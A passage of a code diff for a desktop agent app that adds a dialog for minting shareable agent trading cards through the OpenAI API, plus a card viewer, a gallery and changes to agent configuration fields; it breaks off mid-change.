+const OPENAI_KEYS_URL = "https://platform.openai.com/api-keys";
+
+/** Same three levels as snapshot export; "Agent only" is the safe default. */
+const MEMORY_LEVELS: { value: SnapshotMemoryLevel; label: string }[] = [
+  { value: "none", label: "Agent only" },
+  { value: "core", label: "Agent + core memory" },
+  { value: "everything", label: "Agent + all memories" },
+];
+
+/**
+ * The free alternative, as an action: ordinary snapshot export shares the
+ * same importable agent without card art or API spend. Rendered in both the
+ * key-setup panel and the normal pre-mint form (the cost disclosure and its
+ * escape hatch must be visible BEFORE any spend, not only during onboarding).
+ */
+function FreeSharePathRow({
+  disabled,
+  onExportInstead,
+}: {
+  disabled: boolean;
+  onExportInstead?: () => void;
+}) {
+  return (
+    <div
+      className="flex items-center justify-between gap-3"
+      data-testid="agent-card-free-path"
+    >
+      <p className="text-xs text-muted-foreground">
+        Don’t want to spend money? Ordinary export shares the same importable
+        agent — free, just without the card art.
+      </p>
+      {onExportInstead ? (
+        <Button
+          className="shrink-0"
+          data-testid="agent-card-export-instead"
+          disabled={disabled}
+          onClick={onExportInstead}
+          size="sm"
+          variant="outline"
+        >
+          Share without card art
+        </Button>
+      ) : null}
+    </div>
+  );
+}
+
+/**
+ * Mint-a-trading-card dialog — the pre-mint half only: key setup (when
+ * needed) → optional style notes → "Mint card". Minting itself runs as a
+ * background job in `cardMintStore`: this dialog dispatches and closes, the
+ * composer activity rail shows live status, and the finished card opens in
+ * the global `AgentCardViewerDialog` (preview, reroll, save, share).
+ *
+ * The saved PNG carries the agent's `buzz_agent_snapshot` chunk, so sharing
+ * the card shares an importable agent (fresh identity, never secrets; memory
+ * only when the owner opts in below — plaintext unless the card is locked).
+ * All snapshot construction and verification happens in Rust.
+ */
+export function AgentCardMintDialog({
+  agentId,
+  agentName,
+  canLock,
+  onExportInstead,
+  onOpenChange,
+}: {
+  /** Instance pubkey or definition slug — same resolution as snapshot export. */
+  agentId: string;
+  agentName: string;
+  /**
+   * True when the agent has a linked instance (a keypair to lock to).
+   * Locking is disabled — with an explanation — for bare definitions.
+   */
+  canLock: boolean;
+  /**
+   * Free alternative: close this dialog and open the ordinary snapshot
+   * export flow (no API spend). Omitted = the action is not rendered.
+   */
+  onExportInstead?: () => void;
+  onOpenChange: (open: boolean) => void;
+}) {
+  const [styleNotes, setStyleNotes] = React.useState("");
+  const [lockCard, setLockCard] = React.useState(false);
+  const [memoryLevel, setMemoryLevel] =
+    React.useState<SnapshotMemoryLevel>("none");
+  const [keyDraft, setKeyDraft] = React.useState("");
+  const [editingKey, setEditingKey] = React.useState(false);
+
+  const queryClient = useQueryClient();
+
+  const effectiveLock = canLock && lockCard;
+  // Embedded memory is plaintext in an unlocked card — and unlocked cards
+  // are meant to be shared. A locked card encrypts the whole manifest to the
+  // (owner, agent) pair, so the plaintext warning would be false there.
+  const showMemoryWarning = memoryLevel !== "none" && !effectiveLock;
+
+  // Whether a key already resolves through the agent's env layering, and from
+  // which layer. While unknown (loading/error) we treat as if no verified key
+  // exists — mint still works fail-open, but we don't assert a key is present.
+  const keyStatusQuery = useQuery({
+    queryKey: ["cardMintKeyStatus", agentId],
+    queryFn: () => cardMintKeyStatus(agentId),
+  });
+  const keyLayer: CardMintKeyLayer | undefined = keyStatusQuery.data;
+  // True when the key resolves from a layer this dialog cannot update.
+  const keyIsReadOnly = isReadOnlyLayer(keyLayer);
+
+  // Save the pasted key into the global Agent Defaults env — the same single
+  // source of truth every agent inherits. Narrow Rust seam: validated
+  // single-key merge, never restarts running agents (the mint re-reads
+  // config per call, so no restart is needed for minting).
+  const saveKeyMutation = useMutation({
+    mutationFn: (key: string) => cardMintSaveOpenaiKey(key),
+    onSuccess: () => {
+      // The key now lives in global defaults — update the cached layer so the
+      // status row shows correctly without waiting for a refetch.
+      queryClient.setQueryData<CardMintKeyLayer>(
+        ["cardMintKeyStatus", agentId],
+        "global",
+      );
+      // The Agent Defaults editor caches the whole config — refetch it so a
+      // later-opened settings view shows the key we just wrote.
+      void queryClient.invalidateQueries({
+        queryKey: globalAgentConfigQueryKey,
+      });
+      setKeyDraft("");
+      setEditingKey(false);
+      toast.success(
+        "API key saved to your agent defaults. Running agents pick it up on their next restart.",
+      );
+    },
+    onError: (error) =>
+      toast.error(typeof error === "string" ? error : "Couldn't save the key."),
+  });
+
+  function beginMint() {
+    // Dispatch to the background store and close: the composer rail shows
+    // "Minting card…" and the completion toast opens the viewer.
+    startCardMint({
+      agentId,
+      agentName,
+      styleNotes: styleNotes.trim() || undefined,
+      lock: effectiveLock,
+      memoryLevel: canLock ? memoryLevel : "none",
+    });
+    onOpenChange(false);
+  }
+
+  return (
+    <Dialog onOpenChange={onOpenChange} open>
+      <DialogContent className="max-w-md" data-testid="agent-card-mint-dialog">
+        <DialogHeader>
+          <DialogTitle className="flex items-center gap-2">
+            <Sparkles className="h-4 w-4" />
+            {`Create ${agentName}'s card`}
+          </DialogTitle>
+          <DialogDescription>
+            Mint a collectible trading card that doubles as a shareable,
+            importable copy of this agent.
+          </DialogDescription>
+        </DialogHeader>
+
+        {showKeyPanel(keyLayer, editingKey) ? (
+          <div
+            className="flex flex-col gap-4"
+            data-testid="agent-card-key-setup"
+          >
+            <div className="flex flex-col gap-2 rounded-md border border-border p-3">
+              <span className="flex items-center gap-1.5 text-sm font-medium">
+                <KeyRound className="h-3.5 w-3.5" />
+                {keyPanelTitle(keyLayer, editingKey)}
+              </span>
+              {keyIsReadOnly ? (
+                // Key resolves from a layer the dialog cannot write to — show
+                // a read-only redirect instead of an input that would be
+                // shadowed by the higher-priority layer.
+                <p
+                  className="text-xs text-muted-foreground"
+                  data-testid="agent-card-key-readonly"
+                >
+                  {keyLayer === "agent"
+                    ? "This agent's OpenAI key is set in its own agent settings — update it there."
+                    : keyLayer === "persona"
+                      ? "This agent's OpenAI key comes from its linked persona settings — update it there."
+                      : "This agent's OpenAI key is set in the process environment — update it in your shell or launch config."}
+                </p>
+              ) : (
+                <>
+                  <p className="text-xs text-muted-foreground">
+                    Minting a card costs money — it generates the art and card
+                    text through the OpenAI API with your key (typically well
+                    under a dollar per mint, billed by OpenAI). The key is saved
+                    as <code className="font-mono">OPENAI_API_KEY</code> in your
+                    agent defaults env — that's the row to update in Settings if
+                    you ever need to change it there.
+                  </p>
+                  <Button
+                    className="w-fit px-0 text-xs"
+                    data-testid="agent-card-key-link"
+                    onClick={() =>
+                      void openUrl(OPENAI_KEYS_URL).catch(() => {
+                        toast.error("Failed to open link");
+                      })
+                    }
+                    size="sm"
+                    variant="link"
+                  >
+                    <ExternalLink className="mr-1 h-3 w-3" />
+                    Get a key at platform.openai.com
+                  </Button>
+                  <Input
+                    autoFocus
+                    data-testid="agent-card-key-input"
+                    disabled={saveKeyMutation.isPending}
+                    onChange={(e) => setKeyDraft(e.target.value)}
+                    placeholder="sk-…"
+                    type="password"
+                    value={keyDraft}
+                  />
+                </>
+              )}
+            </div>
+            <FreeSharePathRow
+              disabled={saveKeyMutation.isPending}
+              onExportInstead={onExportInstead}
+            />
+            <div className="flex justify-end gap-2">
+              {showCancelButton(keyLayer, editingKey) ? (
+                <Button
+                  data-testid="agent-card-key-cancel"
+                  disabled={saveKeyMutation.isPending}
+                  onClick={() => {
+                    setKeyDraft("");
+                    setEditingKey(false);
+                  }}
+                  variant="outline"
+                >
+                  Cancel
+                </Button>
+              ) : null}
+              {!keyIsReadOnly ? (
+                <Button
+                  data-testid="agent-card-key-save"
+                  disabled={
+                    saveKeyMutation.isPending || keyDraft.trim().length === 0
+                  }
+                  onClick={() => saveKeyMutation.mutate(keyDraft.trim())}
+                >
+                  <KeyRound className="mr-2 h-4 w-4" />
+                  {saveKeyMutation.isPending
+                    ? "Saving…"
+                    : "Save key & continue"}
+                </Button>
+              ) : null}
+            </div>
+          </div>
+        ) : (
+          <div className="flex flex-col gap-4">
+            <div className="flex flex-col gap-1.5">
+              <Textarea
+                onChange={(e) => setStyleNotes(e.target.value)}
+                placeholder="Optional style notes for the art and card text"
+                rows={3}
+                value={styleNotes}
+              />
+              <p className="text-xs text-muted-foreground">
+                E.g. art “stormy night, lightning motif” or ability “Verify —
+                scry 2”. Your directions take priority; anything you leave open
+                is designed for you.
+              </p>
+            </div>
+            <div className="flex items-center justify-between gap-3 rounded-md border border-border p-3">
+              <div className="flex flex-col gap-0.5">
+                <span className="flex items-center gap-1.5 text-sm font-medium">
+                  <Brain className="h-3.5 w-3.5" />
+                  Memories
+                </span>
+                <span className="text-xs text-muted-foreground">
+                  {canLock
+                    ? "Choose how much memory the embedded agent carries."
+                    : "Including memory needs a linked agent instance — start this agent once to enable it."}
+                </span>
+              </div>
+              {canLock ? (
+                <SnapshotOptionMenu
+                  ariaLabel="Memories"
+                  className="font-medium text-foreground"
+                  onValueChange={(value) =>
+                    setMemoryLevel(value as SnapshotMemoryLevel)
+                  }
+                  options={MEMORY_LEVELS}
+                  testId="agent-card-memory-trigger"
+                  value={memoryLevel}
+                />
+              ) : (
+                <span
+                  className="inline-flex h-8 w-auto shrink-0 items-center justify-end px-2 text-sm font-medium"
+                  data-testid="agent-card-memory-value"
+                >
+                  Agent only
+                </span>
+              )}
+            </div>
+            {showMemoryWarning ? (
+              <div
+                className="flex items-start gap-2 rounded-md border border-amber-500/30 bg-amber-500/10 px-3 py-2 text-sm text-amber-700 dark:text-amber-400"
+                data-testid="agent-card-memory-warning"
+              >
+                <AlertCircle className="mt-0.5 h-4 w-4 shrink-0" />
+                <p>
+                  Memory is stored as <strong>plaintext</strong> in the card,
+                  readable by anyone who has the PNG — and cards are made for
+                  sharing. Lock the card or only share it with people you trust.
+                </p>
+              </div>
+            ) : null}
+            <div className="flex items-start justify-between gap-3 rounded-md border border-border p-3">
+              <div className="flex flex-col gap-0.5">
+                <span className="flex items-center gap-1.5 text-sm font-medium">
+                  <Lock className="h-3.5 w-3.5" />
+                  Lock card
+                </span>
+                <span className="text-xs text-muted-foreground">
+                  {canLock
+                    ? "Encrypt the embedded agent so only you and this agent can import it. Anyone else sees just the image."
+                    : "Locking needs a linked agent instance — start this agent once to enable it."}
+                </span>
+              </div>
+              <Switch
+                checked={canLock && lockCard}
+                data-testid="agent-card-lock-toggle"
+                disabled={!canLock}
+                onCheckedChange={setLockCard}
+              />
+            </div>
+            {showKeyStatusRow(keyLayer, editingKey) ? (
+              <div
+                className="flex items-center gap-1 text-xs text-muted-foreground"
+                data-testid="agent-card-key-status"
+              >
+                <KeyRound className="h-3 w-3 shrink-0" />
+                <span>Using your saved OpenAI key</span>
+                <span aria-hidden>·</span>
+                <Button
+                  className="h-auto p-0 text-xs"
+                  data-testid="agent-card-update-key"
+                  onClick={() => setEditingKey(true)}
+                  size="sm"
+                  variant="link"
+                >
+                  Update
+                </Button>
+              </div>
+            ) : null}
+            {showReadOnlyRow(keyLayer, editingKey) ? (
+              <div
+                className="flex items-center gap-1 text-xs text-muted-foreground"
+                data-testid="agent-card-key-readonly-row"
+              >
+                <KeyRound className="h-3 w-3 shrink-0" />
+                <span>
+                  {keyLayer === "agent"
+                    ? "OpenAI key from agent settings"
+                    : keyLayer === "persona"
+                      ? "OpenAI key from persona settings"
+                      : "OpenAI key from environment"}
+                </span>
+                <span aria-hidden>·</span>
+                <Button
+                  className="h-auto p-0 text-xs"
+                  data-testid="agent-card-key-why"
+                  onClick={() => setEditingKey(true)}
+                  size="sm"
+                  variant="link"
+                >
+                  Why?
+                </Button>
+              </div>
+            ) : null}
+            <p
+              className="text-xs text-muted-foreground"
+              data-testid="agent-card-cost-note"
+            >
+              Minting calls the OpenAI API with your key and costs money —
+              typically well under a dollar per mint, billed by OpenAI. It runs
+              in the background (takes a few minutes); you can keep using Buzz
+              while it works.
+            </p>
+            <FreeSharePathRow
+              disabled={false}
+              onExportInstead={onExportInstead}
+            />
+            <div className="flex items-center justify-between gap-2">
+              <Button
+                className="px-0 text-xs"
+                data-testid="agent-card-open-gallery"
+                onClick={() => {
+                  onOpenChange(false);
+                  setCardGalleryOpen(true);
+                }}
+                size="sm"
+                variant="link"
+              >
+                <GalleryVerticalEnd className="mr-1 h-3 w-3" />
+                View minted cards
+              </Button>
+              <Button onClick={beginMint} data-testid="agent-card-mint">
+                <Sparkles className="mr-2 h-4 w-4" />
+                Mint card
+              </Button>
+            </div>
+          </div>
+        )}
+      </DialogContent>
+    </Dialog>
+  );
+}
diff --git a/desktop/src/features/agents/ui/AgentCardViewerDialog.tsx b/desktop/src/features/agents/ui/AgentCardViewerDialog.tsx
new file mode 100644
index 0000000000..c2422466e4
--- /dev/null
+++ b/desktop/src/features/agents/ui/AgentCardViewerDialog.tsx
@@ -0,0 +1,369 @@
+import * as React from "react";
+import { Download, Lock, RefreshCw, Send, Sparkles } from "lucide-react";
+import { useMutation, useQuery } from "@tanstack/react-query";
+import { toast } from "sonner";
+
+import {
+  closeCardViewer,
+  openCardViewer,
+  setCardGalleryOpen,
+  startCardMint,
+  useCardGalleryOpen,
+  useCardViewerState,
+  type CardMintInput,
+} from "@/features/agents/cardMintStore";
+import { agentCardGalleryViewState } from "@/features/agents/lib/agentCardGalleryState";
+import {
+  useOpenDmMutation,
+  useUpsertCachedChannel,
+} from "@/features/channels/hooks";
+import {
+  listAgentCards,
+  loadAgentCard,
+  saveAgentCard,
+  type ArchivedAgentCard,
+  type MintedAgentCard,
+} from "@/shared/api/tauriPersonas";
+import type { UserSearchResult } from "@/shared/api/types";
+import { Button } from "@/shared/ui/button";
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogHeader,
+  DialogTitle,
+} from "@/shared/ui/dialog";
+import {
+  MediaContextMenu,
+  type MediaContextMenuPosition,
+  useDismissMediaContextMenu,
+} from "@/shared/ui/markdown/MediaContextMenu";
+
+import { PersonaShareRecipients } from "./PersonaShareRecipients";
+import { useSnapshotSendController } from "./useSnapshotSendController";
+
+/** Decode base64 card bytes into the number[] shape the upload path expects. */
+function cardBytesFromBase64(b64: string): number[] {
+  return Array.from(atob(b64), (char) => char.charCodeAt(0));
+}
+
+/**
+ * Global card surfaces, mounted once in `AppShell` next to the other global
+ * dialogs and driven by `cardMintStore`: the finished-card viewer plus the
+ * previous-mints gallery.
+ */
+export function AgentCardDialogs() {
+  return (
+    <>
+      <AgentCardViewerDialog />
+      <AgentCardGalleryDialog />
+    </>
+  );
+}
+
+/**
+ * Global viewer for a finished agent trading card — the post-mint half of the
+ * old blocking mint dialog, now openable from anywhere (completion toast,
+ * composer "card ready" chip, or the previous-cards gallery). Mounted once in
+ * `AppShell` next to the other global dialogs and driven by `cardMintStore`.
+ *
+ * The card image carries the same right-click download menu inline channel
+ * images have (`MediaContextMenu`), but routed through `save_agent_card`:
+ * `download_image` only accepts relay `/media/` URLs, and this card exists
+ * only as local base64.
+ */
+export function AgentCardViewerDialog() {
+  const state = useCardViewerState();
+
+  // Keyed remount resets recipients/menu state when a different card opens.
+  if (!state) return null;
+  return (
+    <AgentCardViewerContent
+      key={state.viewerSeq}
+      agentName={state.agentName}
+      card={state.card}
+      remint={state.remint}
+    />
+  );
+}
+
+function AgentCardViewerContent({
+  agentName,
+  card,
+  remint,
+}: {
+  agentName: string;
+  card: MintedAgentCard;
+  remint: CardMintInput | null;
+}) {
+  const [recipients, setRecipients] = React.useState<UserSearchResult[]>([]);
+  const [menu, setMenu] = React.useState<MediaContextMenuPosition | null>(null);
+  const closeMenu = React.useCallback(() => setMenu(null), []);
+  useDismissMediaContextMenu(Boolean(menu), closeMenu);
+
+  const sendController = useSnapshotSendController(true);
+  const openDmMutation = useOpenDmMutation();
+  const upsertCachedChannel = useUpsertCachedChannel();
+
+  const saveMutation = useMutation({
+    mutationFn: () => saveAgentCard(card.cardPngBase64, card.fileName),
+    onSuccess: (saved) => {
+      if (saved) {
+        toast.success(
+          `Saved ${agentName}'s card. Share it — the card IS the agent.`,
+        );
+      }
+    },
+    onError: (error: Error) => toast.error(error.message),
+  });
+
+  const isSending =
+    sendController.state.phase !== "idle" &&
+    sendController.state.phase !== "done" &&
+    sendController.state.phase !== "error";
+  const isBusy = saveMutation.isPending || isSending;
+
+  async function sendToRecipients() {
+    if (recipients.length === 0) return;
+    const sent = await sendController.beginSend(
+      async () => ({
+        fileBytes: cardBytesFromBase64(card.cardPngBase64),
+        fileName: card.fileName,
+      }),
+      async () => {
+        const directMessage = await openDmMutation.mutateAsync({
+          pubkeys: recipients.map((recipient) => recipient.pubkey),
+        });
+        await upsertCachedChannel(directMessage);
+        return directMessage.id;
+      },
+      agentName,
+    );
+    if (sent) {
+      toast.success(`Sent ${agentName}'s card.`);
+      closeCardViewer();
+    } else if (sent === false) {
+      toast.error("Couldn’t send the card. Try again.");
+    }
+  }
+
+  return (
+    <Dialog onOpenChange={(open) => !open && closeCardViewer()} open>
+      <DialogContent
+        className="max-w-md"
+        data-testid="agent-card-viewer-dialog"
+      >
+        <DialogHeader>
+          <DialogTitle className="flex items-center gap-2">
+            <Sparkles className="h-4 w-4" />
+            {`${agentName}'s card`}
+          </DialogTitle>
+          <DialogDescription>
+            {card.locked
+              ? "This card is locked: only you and the agent can import it. Anyone else sees just the image."
+              : card.memoryLevel === "none"
+                ? "The card carries the agent — anyone who imports this PNG gets a working copy (config only, fresh identity, no memories)."
+                : `The card carries the agent — anyone who imports this PNG gets a working copy (fresh identity) including its ${card.memoryLevel === "core" ? "core memory" : "memories"}, stored as plaintext.`}
+          </DialogDescription>
+        </DialogHeader>
+        <div className="flex flex-col gap-4">
+          <img
+            alt={`${agentName} trading card`}
+            className="mx-auto max-h-[28rem] rounded-lg border shadow-lg"
+            data-testid="agent-card-preview"
+            onContextMenu={(event) => {
+              event.preventDefault();
+              setMenu({ x: event.clientX, y: event.clientY });
+            }}
+            src={`data:image/png;base64,${card.cardPngBase64}`}
+          />
+          {menu ? (
+            <MediaContextMenu
+              dataAttributes={["data-agent-card-context-menu"]}
+              items={[
+                {
+                  label: "Download card",
+                  onSelect: () => {
+                    closeMenu();
+                    saveMutation.mutate();
+                  },
+                },
+              ]}
+              position={menu}
+            />
+          ) : null}
+          <PersonaShareRecipients
+            disabled={isBusy || !sendController.isDmSafetyReady}
+            excludedPubkeys={
+              sendController.relaySelfPubkey
+                ? [sendController.relaySelfPubkey]
+                : []
+            }
+            onSelectionChange={setRecipients}
+            open
+            selectedUsers={recipients}
+            testIdPrefix="agent-card-share"
+          />
+          <div className="flex justify-end gap-2">
+            {remint ? (
+              <Button
+                disabled={isBusy}
+                data-testid="agent-card-reroll"
+                onClick={() => {
+                  // Reroll = a fresh background mint with the same input; the
+                  // viewer closes and the composer chip takes over.
+                  startCardMint(remint);
+                  closeCardViewer();
+                }}
+                variant="outline"
+              >
+                <RefreshCw className="mr-2 h-4 w-4" />
+                Reroll
+              </Button>
+            ) : null}
+            <Button
+              disabled={isBusy}
+              onClick={() => saveMutation.mutate()}
+              data-testid="agent-card-save"
+              variant={recipients.length > 0 ? "outline" : "default"}
+            >
+              <Download className="mr-2 h-4 w-4" />
+              Save card
+            </Button>
+            {recipients.length > 0 ? (
+              <Button
+                disabled={isBusy}
+                onClick={() => void sendToRecipients()}
+                data-testid="agent-card-send"
+              >
+                <Send className="mr-2 h-4 w-4" />
+                {isSending ? "Sending…" : "Send"}
+              </Button>
+            ) : null}
+          </div>
+        </div>
+      </DialogContent>
+    </Dialog>
+  );
+}
+
+/**
+ * Gallery of all previously minted cards, newest first. Every successful mint
+ * is archived to the app data dir by Rust; clicking a tile loads the full PNG
+ * and opens it in the viewer (save/share, no reroll — the original style
+ * notes are not retained).
+ */
+export function AgentCardGalleryDialog() {
+  const open = useCardGalleryOpen();
+  if (!open) return null;
+  return <AgentCardGalleryContent />;
+}
+
+function AgentCardGalleryContent() {
+  const cardsQuery = useQuery({
+    queryKey: ["agentCardArchive"],
+    queryFn: listAgentCards,
+  });
+
+  const openMutation = useMutation({
+    mutationFn: async (entry: ArchivedAgentCard) => {
+      const cardPngBase64 = await loadAgentCard(entry.storedFileName);
+      return { entry, cardPngBase64 };
+    },
+    onSuccess: ({ entry, cardPngBase64 }) => {
+      setCardGalleryOpen(false);
+      openCardViewer({
+        agentName: entry.agentName,
+        card: {
+          cardPngBase64,
+          fileName: entry.fileName,
+          designerNotes: entry.designerNotes,
+          locked: entry.locked,
+          memoryLevel: entry.memoryLevel,
+        },
+        remint: null,
+      });
+    },
+    onError: (error: Error) => toast.error(error.message),
+  });
+
+  const cards = cardsQuery.data ?? [];
+  const viewState = agentCardGalleryViewState(cardsQuery);
+
+  return (
+    <Dialog onOpenChange={(open) => setCardGalleryOpen(open)} open>
+      <DialogContent
+        className="max-w-lg"
+        data-testid="agent-card-gallery-dialog"
+      >
+        <DialogHeader>
+          <DialogTitle className="flex items-center gap-2">
+            <Sparkles className="h-4 w-4" />
+            Minted cards
+          </DialogTitle>
+          <DialogDescription>
+            Every card you’ve minted, newest first. Click one to view, save, or
+            share it.
+          </DialogDescription>
+        </DialogHeader>
+        {viewState.kind === "loading" ? (
+          <p className="py-8 text-center text-sm text-muted-foreground">
+            Loading cards…
+          </p>
+        ) : viewState.kind === "error" ? (
+          <div
+            className="flex flex-col items-center gap-3 py-8"
+            data-testid="agent-card-gallery-error"
+            role="alert"
+          >
+            <p className="text-center text-sm text-destructive">
+              Couldn’t load your minted cards: {viewState.message}
+            </p>
+            <Button
+              disabled={cardsQuery.isFetching}
+              onClick={() => void cardsQuery.refetch()}
+              size="sm"
+              variant="outline"
+            >
+              <RefreshCw className="mr-2 h-4 w-4" />
+              {cardsQuery.isFetching ? "Retrying…" : "Retry"}
+            </Button>
+          </div>
+        ) : viewState.kind === "empty" ? (
+          <p className="py-8 text-center text-sm text-muted-foreground">
+            No cards yet — mint one from an agent’s profile.
+          </p>
+        ) : (
+          <div className="grid max-h-[60vh] grid-cols-3 gap-3 overflow-y-auto pr-1">
+            {cards.map((entry) => (
+              <button
+                className="group flex flex-col gap-1.5 text-left"
+                data-testid="agent-card-gallery-item"
+                disabled={openMutation.isPending}
+                key={entry.storedFileName}
+                onClick={() => openMutation.mutate(entry)}
+                type="button"
+              >
+                {entry.thumbJpegBase64 ? (
+                  <img
+                    alt={`${entry.agentName} trading card`}
+                    className="aspect-2/3 w-full rounded-lg border object-cover shadow-sm transition-transform group-hover:scale-[1.02]"
+                    src={`data:image/jpeg;base64,${entry.thumbJpegBase64}`}
+                  />
+                ) : (
+                  <div className="flex aspect-2/3 w-full items-center justify-center rounded-lg border bg-muted/40">
+                    <Sparkles className="h-6 w-6 text-muted-foreground" />
+                  </div>
+                )}
+                <span className="flex items-center gap-1 truncate text-xs text-muted-foreground">
+                  {entry.locked ? <Lock className="h-3 w-3 shrink-0" /> : null}
+                  <span className="truncate">{entry.agentName}</span>
+                </span>
+              </button>
+            ))}
+          </div>
+        )}
+      </DialogContent>
+    </Dialog>
+  );
+}
diff --git a/desktop/src/features/agents/ui/AgentConfigFields.tsx b/desktop/src/features/agents/ui/AgentConfigFields.tsx
index 1bd8af8976..11f68e8a56 100644
--- a/desktop/src/features/agents/ui/AgentConfigFields.tsx
+++ b/desktop/src/features/agents/ui/AgentConfigFields.tsx
@@ -24,6 +24,8 @@ import {
   deriveAgentConfigFieldModel,
   getRenderableEffortField,
   hasRenderableAgentConfigField,
+  structuredEnvKeys,
+  filterBakedGenericRows,
 } from "@/features/agents/lib/agentConfigCore";
 import {
   getBakedProviderInheritLabel,
@@ -32,9 +34,11 @@ import {
 import {
   AUTO_PROVIDER_DROPDOWN_VALUE,
   BLOCK_BUILD_HIDDEN_PROVIDER_IDS,
+  CARD_MINT_KEY_ANNOTATIONS,
   CUSTOM_PROVIDER_DROPDOWN_VALUE,
   getPersonaProviderOptions,
   getProviderApiKeyEnvVar,
+  getProviderApiKeyLabel,
   runtimeSupportsLlmProviderSelection,
 } from "@/features/agents/ui/agentConfigOptions";
 import {
@@ -50,10 +54,13 @@ import {
 } from "@/features/agents/ui/buzzAgentConfig";
 import {
   EffortSelectField,
+  NumericTuningFields,
   useEffortAutoClear,
+  type NumericDescriptor,
 } from "@/features/agents/ui/buzzAgentModelTuningFields";
 import { SettingsOptionGroup } from "@/features/settings/ui/SettingsOptionGroup";
 import { AdvancedRequiredBadge } from "./AdvancedRequiredBadge";
+import { CardMintKeyCue } from "./CardMintKeyCue";
 import { getGlobalAgentCredentialState } from "./globalAgentCredentialState";
 
 export const EMPTY_GLOBAL_CONFIG: GlobalAgentConfig = {
@@ -63,7 +70,6 @@ export const EMPTY_GLOBAL_CONFIG: GlobalAgentConfig = {
   preferred_runtime: null,
 };
 
-/** Baked env keys that route to structured controls, not the generic env editor. */
 const BAKED_STRUCTURED_KEYS = new Set([
   "BUZZ_AGENT_PROVIDER",
   "BUZZ_AGENT_MODEL",
@@ -74,7 +80,6 @@ const PROGRESSIVE_FIELDS_TRANSITION = {
   duration: 0.22,
   ease: [0.23, 1, 0.32, 1],
 } as const;
-
 type AgentConfigDisclosure =
   | "full"
   | "onboarding-essential"
@@ -85,13 +90,9 @@ type AgentConfigDisclosure =
 // - auto-select a valid model when the provider changes
 // - keep the model select usable during discovery
 // - preserve credential env vars across provider switches (the abandoned
-//   provider's key stays in env_vars — visible/deletable under Advanced —
-//   so flipping back never loses a typed key; spawned agents may therefore
-//   see credentials for providers they don't use)
+//   provider's key stays in env_vars — visible/deletable under Advanced)
 // - require a provider before model/effort are editable (no saveable
-//   invalid state — design principle #4). Note: legacy configs saved with
-//   a model but no provider are cleared by the pre-existing orphan-model
-//   effect on next edit — deliberate data healing, documented in PR.
+//   invalid state — design principle #4)
 const autoSelectModelOnProviderChange = true;
 const disableModelSelectDuringDiscovery = false;
 const preserveCredentialEnvVarsOnProviderChange = true;
@@ -105,12 +106,7 @@ export const CANONICAL_CONFIG_BEHAVIORS = {
   requireProviderForModelAndEffort,
 } as const;
 
-/**
- * Disclosure preset → the eight visibility decisions it owns. Full and
- * progressive defaults expose the same controls; the progressive preset
- * changes only when those controls are revealed. Exported for the contract
- * test.
- */
+/** Disclosure preset → the eight visibility decisions it owns. Exported for the contract test. */
 export function resolveDisclosure(disclosure: AgentConfigDisclosure) {
   const full = disclosure !== "onboarding-essential";
   return {
@@ -141,14 +137,7 @@ export function shouldRevealDependentConfigFields({
   );
 }
 
-/**
- * Determines whether the status line beneath the Model field should render.
- *
- * Discovery warnings bypass the `onboarding-essential` preset so that a
- * first-run failure is never silently invisible.  On the happy path
- * (`status === null`) the status line stays hidden in onboarding, keeping
- * the page clean.
- */
+/** Whether the status line under the Model field renders. Discovery warnings bypass onboarding-essential so first-run failures are never invisible. */
 export function shouldShowModelStatusMessage(
   showDescriptions: boolean,
   status: { message: string; tone: string } | null,
@@ -157,14 +146,8 @@ export function shouldShowModelStatusMessage(
 }
 
 /**
- * Whether the Model control should render given discovery state.
- *
- * Optional-model harnesses (Claude Code / Codex, `acpNative`) omit the control
- * while discovery is in flight and after a **confirmed successful empty**
- * catalog (IPC resolved, no usable options) — there is nothing useful to pick.
- * Discovery failures / unavailable runtimes keep the control so #2246 failure
- * UI can render. Full disclosure still shows the control when Custom model is
- * available. Required-model harnesses always render the control.
+ * Renders the Model control given discovery state. Optional-model harnesses omit it while
+ * discovery is loading or after confirmed successful empty; failures keep it for the #2246 UI.
  */
 export function shouldRenderModelControl({
   discoveredModelOptions,
@@ -271,6 +254,19 @@ export function AgentConfigFields({
     effortField?.currentPersistence.kind === "envVar"
       ? effortField.currentPersistence.key
       : null;
+
+  const numericDescriptors = fieldModel.fields.filter(
+    (d): d is NumericDescriptor =>
+      (d.kind === "maxOutputTokens" ||
+        d.kind === "contextLimit" ||
+        d.kind === "maxRounds") &&
+      d.render === "control",
+  );
+  const allStructuredKeys = structuredEnvKeys([
+    ...(effortField ? [effortField] : []),
+    ...numericDescriptors,
+  ]);
+  const bakedEnvMap = Object.fromEntries(bakedEnv.map((e) => [e.key, e.value]));
   const bakedProvider = React.useMemo(
     () => bakedEnv.find((e) => e.key === "BUZZ_AGENT_PROVIDER")?.value ?? null,
     [bakedEnv],
@@ -303,8 +299,12 @@ export function AgentConfigFields({
     [bakedEnv],
   );
   const bakedGenericRows = React.useMemo<readonly InheritedEnvRow[]>(
-    () => bakedEnv.filter((e) => !BAKED_STRUCTURED_KEYS.has(e.key)),
-    [bakedEnv],
+    () =>
+      filterBakedGenericRows(bakedEnv, [
+        ...BAKED_STRUCTURED_KEYS,
+        ...allStructuredKeys,
+      ]),
+    [bakedEnv, allStructuredKeys],
   );
 
   const providerValue = providerFieldVisible ? (config.provider ?? "") : "";
@@ -575,16 +575,15 @@ export function AgentConfigFields({
   }
 
   function handleEnvVarsChange(next: Record<string, string>) {
-    const effort = effortPersistenceKey
-      ? config.env_vars[effortPersistenceKey]
-      : undefined;
-    const merged = { ...next };
-    if (effortPersistenceKey && effort !== undefined) {
-      merged[effortPersistenceKey] = effort;
-    }
-    onConfigChange({ ...config, env_vars: merged });
+    onConfigChange({ ...config, env_vars: next });
   }
 
+  const handleNumericEnvVarChange = (key: string, value: string) => {
+    const next = { ...config.env_vars, [key]: value };
+    if (value === "") delete next[key];
+    onConfigChange({ ...config, env_vars: next });
+  };
+
   // On internal Block builds, BUZZ_AGENT_PROVIDER is baked in and a boot
   // migration rewrites v1→v2. Hide the legacy v1 option so it is not offered
   // for new selections; OSS builds show it.
@@ -741,12 +740,40 @@ export function AgentConfigFields({
     </div>
   ) : null;
 
+  const advancedEditorBlock = (
+    <>
+      <EnvVarsEditor
+        fileSatisfiedKeys={advancedFileSatisfiedEnvKeys}
+        hiddenKeys={[
+          ...(apiKeyEnvVar ? [apiKeyEnvVar] : []),
+          ...allStructuredKeys,
+        ]}
+        inheritedRows={bakedGenericRows}
+        inheritedRowsLabel="build"
+        keyAnnotations={CARD_MINT_KEY_ANNOTATIONS}
